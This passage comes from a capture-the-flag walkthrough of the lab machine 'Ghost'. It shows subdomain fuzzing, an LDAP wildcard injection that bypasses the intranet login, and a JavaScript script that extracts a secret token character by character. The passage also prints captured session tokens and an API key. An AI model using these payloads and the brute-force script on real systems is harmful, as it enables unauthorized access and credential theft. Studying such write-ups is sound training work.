  <span class="na">xmlns:image=</span><span class="s">"http://www.google.com/schemas/sitemap-image/1.1"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;url&gt;</span>
    <span class="nt">&lt;loc&gt;</span>http://ghost.htb/<span class="nt">&lt;/loc&gt;</span>
    <span class="nt">&lt;lastmod&gt;</span>2026-09-24T01:38:41.510Z<span class="nt">&lt;/lastmod&gt;</span>
  <span class="nt">&lt;/url&gt;</span>
<span class="nt">&lt;/urlset&gt;</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">sitemap-posts.xml</code></p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;?xml-stylesheet type="text/xsl" href="//ghost.htb/sitemap.xsl"?&gt;</span>
<span class="nt">&lt;urlset</span> <span class="na">xmlns=</span><span class="s">"http://www.sitemaps.org/schemas/sitemap/0.9"</span>
  <span class="na">xmlns:image=</span><span class="s">"http://www.google.com/schemas/sitemap-image/1.1"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;url&gt;</span>
    <span class="nt">&lt;loc&gt;</span>
      http://ghost.htb/embarking-on-the-supernatural-journey-welcome-to-ghost/
    <span class="nt">&lt;/loc&gt;</span>
    <span class="nt">&lt;lastmod&gt;</span>2024-01-09T05:52:59.000Z<span class="nt">&lt;/lastmod&gt;</span>
  <span class="nt">&lt;/url&gt;</span>
<span class="nt">&lt;/urlset&gt;</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">sitemap-authors.xml</code></p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;?xml-stylesheet type="text/xsl" href="//ghost.htb/sitemap.xsl"?&gt;</span>
<span class="nt">&lt;urlset</span> <span class="na">xmlns=</span><span class="s">"http://www.sitemaps.org/schemas/sitemap/0.9"</span>
  <span class="na">xmlns:image=</span><span class="s">"http://www.google.com/schemas/sitemap-image/1.1"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;url&gt;</span>
    <span class="nt">&lt;loc&gt;</span>http://ghost.htb/author/kathryn/<span class="nt">&lt;/loc&gt;</span>
    <span class="nt">&lt;lastmod&gt;</span>2024-02-03T05:44:26.000Z<span class="nt">&lt;/lastmod&gt;</span>
  <span class="nt">&lt;/url&gt;</span>
<span class="nt">&lt;/urlset&gt;</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="subdomains">Subdomains</h3>
<p>Scanning for subdomains we get 2 hits, and this process is rather slow as the machine seems to timeout a lot as you can tell by the number of errors we get.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">ffuf</span><span class="w"> </span><span class="nt">-u</span><span class="w"> </span><span class="nx">http://ghost.htb:8008</span><span class="w"> </span><span class="nt">-H</span><span class="w"> </span><span class="s2">"Host: FUZZ.ghost.htb:8008"</span><span class="w"> </span><span class="nt">-w</span><span class="w"> </span><span class="nx">/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt</span><span class="w"> </span><span class="nt">-mc</span><span class="w"> </span><span class="nx">all</span><span class="w"> </span><span class="nt">-timeout</span><span class="w"> </span><span class="nx">40</span><span class="w">

        </span><span class="n">/</span><span class="s1">'___\  /'</span><span class="nx">___\</span><span class="w">           </span><span class="nx">/</span><span class="s1">'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ghost.htb:8008
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.ghost.htb:8008
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 40
 :: Threads          : 40
 :: Matcher          : Response status: all
________________________________________________

intranet                [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 4902ms]
gitea                   [Status: 200, Size: 13657, Words: 1050, Lines: 272, Duration: 4215ms]
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="intranetghosthtb">intranet.ghost.htb</h3>
<p>Upon visiting the <code class="language-plaintext highlighter-rouge">intranet</code> subdomain we get redirected to an <code class="language-plaintext highlighter-rouge">intranet</code> login page.
<img src="/assets/img/img_ghost/0004.jpeg" alt="" /></p>

<p>Attempting to <code class="language-plaintext highlighter-rouge">login</code> the <code class="language-plaintext highlighter-rouge">POST</code> request seems to send a multi-part form binary data with interesting labels such as <code class="language-plaintext highlighter-rouge">1_ldap-username</code> and <code class="language-plaintext highlighter-rouge">1_ldap-secret</code></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
</pre></td><td class="rouge-code"><pre><span class="nf">POST</span> <span class="nn">/login</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">intranet.ghost.htb:8008</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/x-component</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://intranet.ghost.htb:8008/login</span>
<span class="na">Next-Action</span><span class="p">:</span> <span class="s">c471eb076ccac91d6f828b671795550fd5925940</span>
<span class="na">Next-Router-State-Tree</span><span class="p">:</span> <span class="s">%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">multipart/form-data; boundary=----geckoformboundary6dd753170df4205217f1f1c9e399d8a3</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">952</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://intranet.ghost.htb:8008</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0</span>

------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_REF_1"


------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_1:0"

{"id":"c471eb076ccac91d6f828b671795550fd5925940","bound":"$@1"}
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_1:1"

[{}]
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_KEY"

k2982904007
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_ldap-username"

test
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_ldap-secret"

test
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="0"

[{},"$K1"]
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3--

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We get a response that our <code class="language-plaintext highlighter-rouge">username</code> and <code class="language-plaintext highlighter-rouge">secret</code> is invalid.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.18.0 (Ubuntu)</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Thu, 24 Sep 2026 02:05:23 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/x-component</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Vary</span><span class="p">:</span> <span class="s">RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">no-cache, no-store, max-age=0, must-revalidate</span>
<span class="na">x-action-revalidated</span><span class="p">:</span> <span class="s">[[],0,0]</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">Next.js</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">98</span>

0:["$@1",["cprT2WY1sZ8jzOGNk7ojt",null]]
1:{"error":"Invalid combination of username and secret"}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Knowing that there’s <code class="language-plaintext highlighter-rouge">ldap</code> we can attempt a simple <code class="language-plaintext highlighter-rouge">ldap injection</code> by using <code class="language-plaintext highlighter-rouge">*</code> symbos which would make the resulting query look something like this:</p>
<pre><code class="language-ldap">(&amp;(username=*)(secret=*))
</code></pre>

<p>Let’s try it.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
</pre></td><td class="rouge-code"><pre><span class="nf">POST</span> <span class="nn">/login</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">intranet.ghost.htb:8008</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/x-component</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://intranet.ghost.htb:8008/login</span>
<span class="na">Next-Action</span><span class="p">:</span> <span class="s">c471eb076ccac91d6f828b671795550fd5925940</span>
<span class="na">Next-Router-State-Tree</span><span class="p">:</span> <span class="s">%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">multipart/form-data; boundary=----geckoformboundary6dd753170df4205217f1f1c9e399d8a3</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">952</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://intranet.ghost.htb:8008</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0</span>

------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_REF_1"


------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_1:0"

{"id":"c471eb076ccac91d6f828b671795550fd5925940","bound":"$@1"}
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_1:1"

[{}]
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_KEY"

k2982904007
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_ldap-username"

*
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_ldap-secret"

*
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="0"

[{},"$K1"]
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3--

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We get the following response with a <code class="language-plaintext highlighter-rouge">set-cookie</code> header which implies a valid login.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">303</span> <span class="ne">See Other</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.18.0 (Ubuntu)</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Thu, 24 Sep 2026 02:08:16 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=utf-8</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">2</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Vary</span><span class="p">:</span> <span class="s">RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">no-cache, no-store, max-age=0, must-revalidate</span>
<span class="na">Set-Cookie</span><span class="p">:</span> <span class="s">token=Bearer%20eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3OTI4MDc2OTQsImlhdCI6MTc5MDIxNTY5NCwidXNlciI6eyJ1c2VybmFtZSI6ImthdGhyeW4uaG9sbGFuZCJ9fQ.1YOdOR4gBAP-hRAQLtn2FuUlv9FT1v6BAcXcIgG-Cgg; Path=/</span>
<span class="na">x-action-revalidated</span><span class="p">:</span> <span class="s">[[],0,1]</span>
<span class="na">x-action-redirect</span><span class="p">:</span> <span class="s">/</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">Next.js</span>
<span class="na">ETag</span><span class="p">:</span> <span class="s">"bwc9mymkdm2"</span>

{}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Decoding this token we get the following information</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="p">{</span><span class="nl">"typ"</span><span class="p">:</span><span class="s2">"JWT"</span><span class="p">,</span><span class="nl">"alg"</span><span class="p">:</span><span class="s2">"HS256"</span><span class="p">}{</span><span class="nl">"exp"</span><span class="p">:</span><span class="mi">1792807694</span><span class="p">,</span><span class="nl">"iat"</span><span class="p">:</span><span class="mi">1790215694</span><span class="p">,</span><span class="nl">"user"</span><span class="p">:{</span><span class="nl">"username"</span><span class="p">:</span><span class="s2">"kathryn.holland"</span><span class="p">}}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Technically we can grab a list of users through this method by checking each letter with a <code class="language-plaintext highlighter-rouge">*</code> wildcard.</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="err">Content-Disposition:</span><span class="w"> </span><span class="err">form-data;</span><span class="w"> </span><span class="err">name=</span><span class="s2">"1_ldap-username"</span><span class="w">

</span><span class="err">a*</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>With the resulting JWT having our username.</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="p">{</span><span class="nl">"typ"</span><span class="p">:</span><span class="s2">"JWT"</span><span class="p">,</span><span class="nl">"alg"</span><span class="p">:</span><span class="s2">"HS256"</span><span class="p">}{</span><span class="nl">"exp"</span><span class="p">:</span><span class="mi">1792807789</span><span class="p">,</span><span class="nl">"iat"</span><span class="p">:</span><span class="mi">1790215789</span><span class="p">,</span><span class="nl">"user"</span><span class="p">:{</span><span class="nl">"username"</span><span class="p">:</span><span class="s2">"arthur.boyd"</span><span class="p">}}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>However we can instead find a list of usernames once we’re already logged in using the <code class="language-plaintext highlighter-rouge">/users</code> endpoint
<img src="/assets/img/img_ghost/0005.jpeg" alt="" /></p>

<h4 id="news">News</h4>
<p>In the <code class="language-plaintext highlighter-rouge">news</code> we find a couple pieces of information detailing a <code class="language-plaintext highlighter-rouge">gitea</code> instance along with the only user allowed to authenticate being the <code class="language-plaintext highlighter-rouge">gitea_temp_principal</code> as well as that the password being linked to the <code class="language-plaintext highlighter-rouge">intranet</code></p>
<blockquote>
  <p>Git Migration
We are currently migrating Gitea to Bitbucket.<br />
Domain logins to Gitea have been disabled.<br />
You can only login with the <code class="language-plaintext highlighter-rouge">gitea_temp_principal</code> account and its corresponding intranet token as password.<br />
We can’t post the password here for security reasons, but:<br />
<strong>For IT</strong>: Ask sysadmins for the password.<br />
<strong>For sysadmins</strong>: Look in LDAP for the attribute. You can also test the credentials by logging in to intranet.</p>
</blockquote>

<p>It is then mentioned that the <code class="language-plaintext highlighter-rouge">intranet</code> uses a <code class="language-plaintext highlighter-rouge">secret token</code> instead of a <code class="language-plaintext highlighter-rouge">password</code></p>
<blockquote>
  <p>New Intranet Portal
We are in the process of migrating to the new intranet portal (this one).<br />
Until then, you have to use a secret token instead of your domain password.<br />
We apologize for the inconvenience!</p>
</blockquote>

<p>Judging by this information we should be able to login to <code class="language-plaintext highlighter-rouge">gitea</code> as <code class="language-plaintext highlighter-rouge">gitea_temp_principal</code> by checking its <code class="language-plaintext highlighter-rouge">ldap secret attribute</code>. Which we can query using our <code class="language-plaintext highlighter-rouge">blind ldap injection</code></p>

<h4 id="forum">Forum</h4>
<p>In the <code class="language-plaintext highlighter-rouge">forums</code> we also find mentions of a <code class="language-plaintext highlighter-rouge">bitbucket</code> DNS entry not being configured.</p>

<blockquote>
  <p>Hello all, I tried to connect to bitbucket.ghost.htb but it doesn’t work. Any idea why? I have a script that checks the pipeline results and it works in Gitea, I tried adapting it to Bitbucket and it works locally but I can’t test it on our servers</p>
  <ul>
    <li>justin. bradley</li>
  </ul>
</blockquote>

<blockquote>
  <p>Hello Justin, the migration is not ready yet, so the DNS entry is not configured. It shouldn’t take much longer, so you can keep running the script</p>
  <ul>
    <li>kathryn.holland</li>
  </ul>
</blockquote>

<h1 id="foothold-shell">Foothold Shell</h1>
<h2 id="access-to-gitea-via-ldap-blind">Access to GITEA via LDAP Blind</h2>
<p>Earlier we’ve found that <code class="language-plaintext highlighter-rouge">gitea_temp_principal</code>’s secret could be used to login to the <code class="language-plaintext highlighter-rouge">gitea</code> endpoint which we can access through the <code class="language-plaintext highlighter-rouge">gitea.ghost.htb:8008</code> uri.
<img src="/assets/img/img_ghost/0006.jpeg" alt="" /></p>

<p>Now this version of Gitea: <code class="language-plaintext highlighter-rouge">1.21.3</code> is actually pretty old and is vulnerable to a few modern <code class="language-plaintext highlighter-rouge">CVEs</code> however, we’ll do this the intended way which is through a <code class="language-plaintext highlighter-rouge">blind ldap injection</code>, I’ll use <a href="https://docs.caido.io/app/guides/workflows_javascript.html">Caido Javascript Workflows</a> to create an automation for this.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
</pre></td><td class="rouge-code"><pre><span class="cm">/**
 * @param {NodeInputHTTP} input
 * @param {SDK} sdk
 * @returns {MaybePromise&lt;NodeResult | Data | undefined&gt;}
 */</span>
<span class="k">export</span> <span class="k">async</span> <span class="kd">function</span> <span class="nx">run</span><span class="p">({</span> <span class="nx">request</span><span class="p">,</span> <span class="nx">response</span><span class="p">,</span> <span class="nx">extra</span> <span class="p">},</span> <span class="nx">sdk</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">chars</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</span><span class="dl">"</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">""</span><span class="p">);</span>
  <span class="kd">const</span> <span class="nx">body</span> <span class="o">=</span> <span class="nx">request</span><span class="p">.</span><span class="nx">getBody</span><span class="p">();</span>
  
  <span class="kd">let</span> <span class="nx">spec</span> <span class="o">=</span> <span class="nx">request</span><span class="p">.</span><span class="nx">toSpec</span><span class="p">();</span>
  <span class="kd">let</span> <span class="nx">value</span> <span class="o">=</span> <span class="dl">""</span><span class="p">;</span>
  <span class="kd">let</span> <span class="nx">text</span> <span class="o">=</span> <span class="nx">body</span><span class="p">.</span><span class="nx">toText</span><span class="p">();</span>

  <span class="k">while</span> <span class="p">(</span><span class="kc">true</span><span class="p">){</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">c</span> <span class="k">of</span> <span class="nx">chars</span><span class="p">){</span>
      <span class="kd">let</span> <span class="nx">modtext</span> <span class="o">=</span> <span class="nx">text</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="dl">"</span><span class="s2">SECRETHERE</span><span class="dl">"</span><span class="p">,</span> <span class="s2">`</span><span class="p">${</span><span class="nx">value</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
      <span class="nx">spec</span><span class="p">.</span><span class="nx">setBody</span><span class="p">(</span><span class="k">new</span> <span class="nx">Body</span><span class="p">(</span><span class="nx">modtext</span><span class="p">));</span>
      <span class="kd">let</span> <span class="nx">req</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">sdk</span><span class="p">.</span><span class="nx">requests</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">spec</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">response</span><span class="p">.</span><span class="nx">getCode</span><span class="p">()</span> <span class="o">==</span> <span class="mi">303</span><span class="p">){</span>
        <span class="nx">sdk</span><span class="p">.</span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">`[+] Password found: </span><span class="p">${</span><span class="nx">value</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
        <span class="p">};</span>
      <span class="nx">modtext</span> <span class="o">=</span> <span class="nx">text</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="dl">"</span><span class="s2">SECRETHERE</span><span class="dl">"</span><span class="p">,</span> <span class="s2">`</span><span class="p">${</span><span class="nx">value</span><span class="p">}${</span><span class="nx">c</span><span class="p">}</span><span class="s2">*`</span><span class="p">);</span>
      <span class="nx">spec</span><span class="p">.</span><span class="nx">setBody</span><span class="p">(</span><span class="k">new</span> <span class="nx">Body</span><span class="p">(</span><span class="nx">modtext</span><span class="p">));</span>
      <span class="nx">req</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">sdk</span><span class="p">.</span><span class="nx">requests</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">spec</span><span class="p">);</span>
  
	  <span class="k">if</span> <span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">response</span><span class="p">.</span><span class="nx">getCode</span><span class="p">()</span> <span class="o">===</span> <span class="mi">303</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">value</span> <span class="o">=</span> <span class="nx">value</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nx">c</span><span class="p">);</span>
		<span class="nx">sdk</span><span class="p">.</span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">value</span><span class="p">);</span>
        <span class="k">break</span><span class="p">;</span>
      <span class="p">};</span>
    <span class="p">};</span>
  <span class="p">}</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This is pretty slow since we don’t know the length of the secret we can’t actively figure out the length of the secret as well as we’d have to check each value if it’s the correct one given that even the full secret with a <code class="language-plaintext highlighter-rouge">*</code> at the end will keep going infinitely.</p>

<p>Running this after a while I get the following log:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>[+] Password found: [REDACTED]
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Which when used allows us to login as <code class="language-plaintext highlighter-rouge">gitea_temp_principal</code> against the <code class="language-plaintext highlighter-rouge">gitea.ghost.htb:8008</code> endpoint.
<img src="/assets/img/img_ghost/0007.jpeg" alt="" /></p>

<h2 id="ghost-dev-blog-code-analysis">ghost-dev blog code analysis</h2>
<p>Taking a look at the <code class="language-plaintext highlighter-rouge">ghost-dev blog</code> we find it’s a <code class="language-plaintext highlighter-rouge">ghostCMS</code> docker container, we also find additional information about additional features including linking it to the <code class="language-plaintext highlighter-rouge">intranet</code> using a <code class="language-plaintext highlighter-rouge">DEV_INTRANET_KEY</code> environment variable. We’re given a modified <code class="language-plaintext highlighter-rouge">posts-public.js</code> file which extracts additional information from posts. What’s noteworthy here is the following.</p>

<blockquote>
  <p>In the future we should move the information to the database so that we don’t accidentally lose data on container recreation</p>
</blockquote>

<p>This indicates that there’s no database that holds the <code class="language-plaintext highlighter-rouge">post data</code> therefore it’s simply accessing data a different way. Finally we find an <code class="language-plaintext highlighter-rouge">API Key</code> for <code class="language-plaintext highlighter-rouge">GhostCMS</code> : <code class="language-plaintext highlighter-rouge">a5af628828958c976a3b6cc81a</code></p>

<p>Studying the code it seems that what we want is to modify the <code class="language-plaintext highlighter-rouge">extra</code> parameter in the <code class="language-plaintext highlighter-rouge">browse.query()</code> function as it conducts a fileread.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
</pre></td><td class="rouge-code"><pre>    <span class="nx">browse</span><span class="p">:</span> <span class="p">{</span>
        <span class="nl">headers</span><span class="p">:</span> <span class="p">{</span>
            <span class="na">cacheInvalidate</span><span class="p">:</span> <span class="kc">false</span>
        <span class="p">},</span>
        <span class="nx">cache</span><span class="p">:</span> <span class="nx">postsPublicService</span><span class="p">.</span><span class="nx">api</span><span class="p">?.</span><span class="nx">cache</span><span class="p">,</span>
        <span class="nx">generateCacheKeyData</span><span class="p">(</span><span class="nx">frame</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="p">{</span>
                <span class="na">options</span><span class="p">:</span> <span class="nx">generateOptionsData</span><span class="p">(</span><span class="nx">frame</span><span class="p">,</span> <span class="p">[</span>
                    <span class="dl">'</span><span class="s1">include</span><span class="dl">'</span><span class="p">,</span>
                    <span class="dl">'</span><span class="s1">filter</span><span class="dl">'</span><span class="p">,</span>
                    <span class="dl">'</span><span class="s1">fields</span><span class="dl">'</span><span class="p">,</span>
                    <span class="dl">'</span><span class="s1">formats</span><span class="dl">'</span><span class="p">,</span>
                    <span class="dl">'</span><span class="s1">limit</span><span class="dl">'</span><span class="p">,</span>
                    <span class="dl">'</span><span class="s1">order</span><span class="dl">'</span><span class="p">,</span>
                    <span class="dl">'</span><span class="s1">page</span><span class="dl">'</span><span class="p">,</span>
                    <span class="dl">'</span><span class="s1">absolute_urls</span><span class="dl">'</span><span class="p">,</span>
                    <span class="dl">'</span><span class="s1">collection</span><span class="dl">'</span>
                <span class="p">]),</span>
                <span class="na">auth</span><span class="p">:</span> <span class="nx">generateAuthData</span><span class="p">(</span><span class="nx">frame</span><span class="p">),</span>
                <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">browse</span><span class="dl">'</span>
            <span class="p">};</span>
        <span class="p">},</span>
        <span class="nx">options</span><span class="p">:</span> <span class="p">[</span>
            <span class="dl">'</span><span class="s1">include</span><span class="dl">'</span><span class="p">,</span>
            <span class="dl">'</span><span class="s1">filter</span><span class="dl">'</span><span class="p">,</span>
            <span class="dl">'</span><span class="s1">fields</span><span class="dl">'</span><span class="p">,</span>
            <span class="dl">'</span><span class="s1">formats</span><span class="dl">'</span><span class="p">,</span>
            <span class="dl">'</span><span class="s1">limit</span><span class="dl">'</span><span class="p">,</span>
